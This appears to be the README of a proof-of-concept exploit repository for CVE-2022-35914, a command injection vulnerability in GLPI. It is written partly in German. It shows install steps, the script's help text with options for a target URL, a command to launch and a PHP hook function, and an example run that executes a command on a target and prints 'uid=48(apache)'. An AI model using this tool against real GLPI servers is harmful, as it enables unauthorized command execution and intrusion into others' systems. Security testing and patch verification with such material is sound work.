cosad3s/cve-2022-35914-pocProof-of-concept-Exploit für CVE-2022-35914, eine Command Injection-Sicherheitslücke in GLPI über ein Skript einer Drittanbieter-Bibliothek. Führt beliebige Befehle auf anfälligen GLPI-Instanzen aus.
pip install -r requirements.txt
./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [-f HOOK] [--check] [--user-agent USER_AGENT]
CVE-2022-35914 - GLPI - Command injection using a third-party library script
options:
-h, --help show this help message and exit
-u URL URL to test
-c CMD Command to launch
-f HOOK PHP hook function (default: exec)
--check Just check, no command execution.
--user-agent USER_AGENT
Custom User-Agent
Beispiel:
❯ ./CVE-2022-35914.py -u http://glpi
[+] Command output (Return code: 0):
uid=48(apache) gid=48(apache) groups=48(apache)